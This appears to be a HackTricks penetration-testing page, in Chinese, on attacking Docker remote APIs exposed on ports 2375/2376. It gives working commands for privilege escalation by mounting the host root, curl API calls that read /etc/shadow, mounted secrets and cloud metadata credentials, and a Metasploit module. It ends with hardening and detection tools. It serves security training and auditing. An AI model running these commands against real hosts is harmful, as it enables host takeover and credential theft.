hacktricks/src/network-services-pentesting/2375-pentesting-docker.md

316 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 2375, 2376 Pentesting Docker
{{#include ../banners/hacktricks-training.md}}
### Docker 基础
#### 什么是
Docker 是 **容器化行业**中的 **前沿平台**,引领着 **持续创新**。它促进了应用程序的轻松创建和分发,从 **传统到未来**,并确保它们在不同环境中的 **安全部署**
#### 基本 docker 架构
- [**containerd**](http://containerd.io): 这是一个 **容器的核心运行时**,负责全面 **管理容器的生命周期**。这包括处理 **镜像传输和存储**,以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解****进一步探讨** 中。
- **container-shim** 在处理 **无头容器** 时扮演着关键角色,顺利接管 **runc** 在容器初始化后的工作。
- [**runc**](http://runc.io): 以其 **轻量级和通用的容器运行时** 能力而闻名runc 与 **OCI 标准** 一致。它被 containerd 用于 **根据 OCI 指南启动和管理容器**,并从最初的 **libcontainer** 发展而来。
- [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要,确保 **高效交互**
- [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着重要作用,最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。
#### 基本命令
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
#### Containerd
**Containerd** 是专门为满足 **Docker 和 Kubernetes** 等容器平台的需求而开发的。它旨在通过抽象操作系统特定的功能和系统调用,**简化在各种操作系统上执行容器** 的过程,包括 Linux、Windows、Solaris 等。Containerd 的目标是仅包含用户所需的基本功能,努力省略不必要的组件。然而,完全实现这一目标被认为是具有挑战性的。
一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素,具有软件定义网络 (SDN) 和服务发现等复杂性这些在不同平台之间差异显著。因此Containerd 将网络方面的管理留给它所支持的平台。
虽然 **Docker 利用 Containerd** 来运行容器,但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体而言Containerd 缺乏 Docker 中存在的网络管理能力,并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色,将更专业的功能委托给它所集成的平台。
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
#### Podman
**Podman** 是一个遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers) 的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性,特别是其 **无守护进程架构** 和对 **无根容器** 的支持,使用户能够在没有根权限的情况下运行容器。
Podman 旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统,包括用于构建容器镜像的工具 **Buildah** 和用于图像操作(如推送、拉取和检查)的 **Skopeo**。有关这些工具的更多详细信息,请访问它们的 [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)。
**主要区别**
- **架构**:与 Docker 的客户端-服务器模型和后台守护进程不同Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对根访问的需求来增强安全性。
- **Systemd 集成**Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护进程的 systemd 使用形成对比。
- **无根容器**Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得被攻陷用户的权限,而不是根访问,来最小化与容器漏洞相关的风险。
Podman 的方法提供了一个安全且灵活的 Docker 替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
> [!TIP]
> 请注意,由于 podman 旨在支持与 docker 相同的 API您可以使用与 docker 相同的命令来使用 podman例如
>
> ```bash
> podman --version
> podman info
> pdoman images ls
> podman ls
> ```
### 基本信息
当启用时,远程 API 默认在 2375 端口上运行。该服务默认不需要身份验证,允许攻击者启动特权 docker 容器。通过使用远程 API可以将主机 /(根目录)附加到容器并读取/写入主机环境的文件。
**默认端口:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
```
### 枚举
#### 手动
请注意,为了枚举 docker API您可以使用 `docker` 命令或 `curl`,如以下示例所示:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
```
如果您可以 **使用 `docker` 命令联系远程 docker API**,您可以 **执行** 任何 **之前评论过的** **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
> [!TIP]
> 您可以 `export DOCKER_HOST="tcp://localhost:2375"` 并 **避免** 在 docker 命令中使用 `-H` 参数
**快速权限提升**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
有时你会看到 **2376****TLS** 端点上。我无法通过 docker 客户端连接到它,但可以使用 curl 进行连接。
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
如果您想要更多信息,可以在我复制命令的地方找到更多信息:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
#### 自动
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
### 破坏
在以下页面中,您可以找到**从docker容器中逃脱**的方法:
{{#ref}}
../linux-hardening/privilege-escalation/docker-security/
{{#endref}}
利用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱并破坏该机器:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### 权限提升
如果您在使用 docker 的主机内部,您可以 [**阅读此信息以尝试提升权限**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket)。
### 在运行的 Docker 容器中发现秘密
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
检查 **env**(环境变量部分)以查找秘密,您可能会发现:
- 密码。
- IP 地址。
- 端口。
- 路径。
- 其他……。
如果您想提取文件:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Securing your Docker
#### Securing Docker installation and usage
- 您可以使用工具 [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) 来检查您当前的 docker 安装。
- `./docker-bench-security.sh`
- 您可以使用工具 [https://github.com/kost/dockscan](https://github.com/kost/dockscan) 来检查您当前的 docker 安装。
- `dockscan -v unix:///var/run/docker.sock`
- 您可以使用工具 [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) 来检查容器在不同安全选项下的权限。这对于了解使用某些安全选项运行容器的影响非常有用:
- `docker run --rm -it r.j3ss.co/amicontained`
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
#### Securing Docker Images
- 您可以使用 [https://github.com/quay/clair](https://github.com/quay/clair) 的 docker 镜像来扫描您的其他 docker 镜像并查找漏洞。
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Securing Dockerfiles
- 您可以使用工具 [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) 来 **检查您的 Dockerfile** 并查找各种错误配置。每个错误配置将被分配一个 ID您可以在这里找到 [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) 如何修复它们。
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
- 您可以使用工具 [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
- `dockerfilelint Dockerfile`
![](<../images/image (212).png>)
- 您可以使用工具 [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
- `dockerlint Dockerfile`
![](<../images/image (71).png>)
- 您可以使用工具 [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
- `hadolint Dockerfile`
![](<../images/image (501).png>)
#### Logging Suspicious activity
- 您可以使用工具 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) 来检测 **正在运行的容器中的可疑行为**
- 请注意以下代码块中 **Falco 编译内核模块并插入它**。之后,它加载规则并 **开始记录可疑活动**。在这种情况下,它检测到启动了 2 个特权容器,其中 1 个具有敏感挂载,几秒钟后它检测到在其中一个容器内打开了一个 shell。
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### 监控 Docker
您可以使用 auditd 来监控 docker。
### 参考文献
- [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
- [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
{{#include ../banners/hacktricks-training.md}}